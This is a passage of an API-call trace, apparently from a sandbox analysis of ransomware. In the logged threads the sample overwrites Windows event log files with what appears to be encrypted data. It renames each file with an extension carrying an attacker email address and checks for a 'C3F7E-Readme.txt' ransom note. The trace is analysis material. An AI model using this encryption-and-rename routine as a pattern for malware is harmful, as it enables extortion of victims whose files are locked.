	[0074.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70cc0) returned 1
	[0074.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b8a0) returned 1

Thread:
	id = 133
	os_tid = 0xd9c

	[0074.196] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0074.206] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", dwFileAttributes=0x20) returned 1
	[0074.206] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x81c
	[0074.211] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x810f9a0 | out: lpFileSize=0x810f9a0*=69632) returned 1
	[0074.211] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.211] ReadFile (in: hFile=0x81c, lpBuffer=0x810f924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x810f920, lpOverlapped=0x0 | out: lpBuffer=0x810f924*, lpNumberOfBytesRead=0x810f920*=0x4, lpOverlapped=0x0) returned 1
	[0074.220] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0074.221] NtQuerySystemTime (in: CurrentTime=0x810f900 | out: CurrentTime=0x810f900*=132251868009633353) returned 0x0
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x20a7b9ff
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xb78f6502
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x11b1c504
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xaf6c92b4
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x5836b43
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x3b6abe49
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x839c4ba8
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xddd9926e
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x94c69b7
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x771f75b1
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x241c2e3b
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x854316e9
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x6c5d1c30
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xd95355c9
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xc3a702b2
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x74e2e1d5
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x7fcbd1d3
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x61ef5081
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xee295506
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xf40d3835
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x63624df1
	[0074.221] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x651c29a4
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x201b1197
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xc80f2f65
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xcbb1d1ec
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xc52bff21
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xf8d33ca7
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xf488f43f
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x97d7a440
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x380b6688
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0xb54115bd
	[0074.222] RtlRandom (in: Seed=0x810f90c | out: Seed=0x810f90c) returned 0x61d22977
	[0074.230] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.230] ReadFile (in: hFile=0x81c, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x810f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x810f8e0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.242] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.242] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e02f68
	[0074.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0074.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.245] WriteFile (in: hFile=0x81c, lpBuffer=0x2e02f68*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x810f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2e02f68*, lpNumberOfBytesWritten=0x810f8e0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02f68) returned 1
	[0074.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2de9f58) returned 1
	[0074.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x2d62fc8
	[0074.251] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.251] WriteFile (in: hFile=0x81c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x810f960, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x810f960*=0x161, lpOverlapped=0x0) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c998) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62fc8) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e618
	[0074.262] wcscpy (in: _Dest=0x2d7e618, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx"
	[0074.262] wcscat (in: _Dest=0x2d7e618, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.262] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x810f918, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x2d89728
	[0074.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89728) returned 1
	[0074.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0074.263] NtQueryInformationFile (in: FileHandle=0x81c, IoStatusBlock=0x810f924, FileInformation=0x810f8fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x810f924, FileInformation=0x810f8fc) returned 0x0
	[0074.263] NtSetInformationFile (FileHandle=0x81c, IoStatusBlock=0x810f924, FileInformation=0x810f8fc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e618) returned 1
	[0074.264] FlushFileBuffers (hFile=0x81c) returned 1
	[0074.274] CloseHandle (hObject=0x81c) returned 1
	[0074.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c00
	[0074.274] wcscpy (in: _Dest=0x2d70c00, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.275] wcscat (in: _Dest=0x2d70c00, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.275] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c00) returned 1
	[0074.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b1e0) returned 1

Thread:
	id = 134
	os_tid = 0xfb4

	[0074.218] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0074.218] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x820
	[0074.218] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x818fc78 | out: lpFileSize=0x818fc78*=69632) returned 1
	[0074.218] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.218] ReadFile (in: hFile=0x820, lpBuffer=0x818fbfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x818fbf8, lpOverlapped=0x0 | out: lpBuffer=0x818fbfc*, lpNumberOfBytesRead=0x818fbf8*=0x4, lpOverlapped=0x0) returned 1
	[0074.232] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0074.232] NtQuerySystemTime (in: CurrentTime=0x818fbd8 | out: CurrentTime=0x818fbd8*=132251868009633353) returned 0x0
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xd2e9103b
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x7510455a
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xf6933084
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xe192960b
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x509f756e
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x34ad9712
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xc6e62b23
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xfc9c16e9
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x14853f93
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x13312d48
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x7658adf4
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xa8bf514f
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x1a9b7565
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x93cebc85
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x16b03fa5
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x26d6a09e
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x5cc0ec9
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xbb539061
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x7fd650dd
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xa2c1dec9
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x2c7322d1
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xe2a2a8ef
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x35623397
	[0074.232] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x422616bf
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xa2e7b021
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xb6b3c63e
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x37fe3950
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x6da2d62e
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xa2a7e14
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x6fa96336
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0xc35b41e
	[0074.233] RtlRandom (in: Seed=0x818fbe4 | out: Seed=0x818fbe4) returned 0x934395ef
	[0074.241] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.241] ReadFile (in: hFile=0x820, lpBuffer=0x2df6760, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x818fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesRead=0x818fbb8*=0xc800, lpOverlapped=0x0) returned 1
	[0074.246] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e0f770
	[0074.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0074.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0074.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.250] WriteFile (in: hFile=0x820, lpBuffer=0x2e0f770*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x818fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2e0f770*, lpNumberOfBytesWritten=0x818fbb8*=0xc800, lpOverlapped=0x0) returned 1
	[0074.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e0f770) returned 1
	[0074.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0074.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x4732dd0
	[0074.257] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.257] WriteFile (in: hFile=0x820, lpBuffer=0x2d895d0*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x818fc38, lpOverlapped=0x0 | out: lpBuffer=0x2d895d0*, lpNumberOfBytesWritten=0x818fc38*=0x14d, lpOverlapped=0x0) returned 1
	[0074.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d895d0) returned 1
	[0074.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732fb0) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.265] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x2d89460
	[0074.265] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx"
	[0074.265] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.265] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x818fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.265] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d70140
	[0074.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70140) returned 1
	[0074.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89520) returned 1
	[0074.272] NtQueryInformationFile (in: FileHandle=0x820, IoStatusBlock=0x818fbfc, FileInformation=0x818fbd4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x818fbfc, FileInformation=0x818fbd4) returned 0x0
	[0074.272] NtSetInformationFile (FileHandle=0x820, IoStatusBlock=0x818fbfc, FileInformation=0x818fbd4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.273] FlushFileBuffers (hFile=0x820) returned 1
	[0074.276] CloseHandle (hObject=0x820) returned 1
	[0074.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70780
	[0074.276] wcscpy (in: _Dest=0x2d70780, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.276] wcscat (in: _Dest=0x2d70780, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.276] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70780) returned 1
	[0074.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d57d40) returned 1

Thread:
	id = 135
	os_tid = 0xfac

	[0074.219] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0074.220] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.220] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x824
	[0074.220] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x820f798 | out: lpFileSize=0x820f798*=69632) returned 1
	[0074.220] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.220] ReadFile (in: hFile=0x824, lpBuffer=0x820f71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x820f718, lpOverlapped=0x0 | out: lpBuffer=0x820f71c*, lpNumberOfBytesRead=0x820f718*=0x4, lpOverlapped=0x0) returned 1
	[0074.278] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0074.279] NtQuerySystemTime (in: CurrentTime=0x820f6f8 | out: CurrentTime=0x820f6f8*=132251868010102014) returned 0x0
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x244db50c
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x994427f9
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xb5667471
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xd71d92aa
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x7bb85da7
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x48aee4e3
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xed5aee07
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x3fd2b978
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x45cf42e5
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xb9b14ee8
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x2e4203db
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xd1649df0
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xe8024988
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xfc0259b6
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xcc28f5a5
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xc49381b0
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xbef1b605
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xb584e3
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x3dc8b313
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xd9e9893b
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x900bcb1e
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x1ea78b30
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0xe027aa67
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x4ea15334
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x8bd8fe60
	[0074.279] RtlRandom (in: Seed=0x820f704 | out: Seed=0x820f704) returned 0x6f51f88f
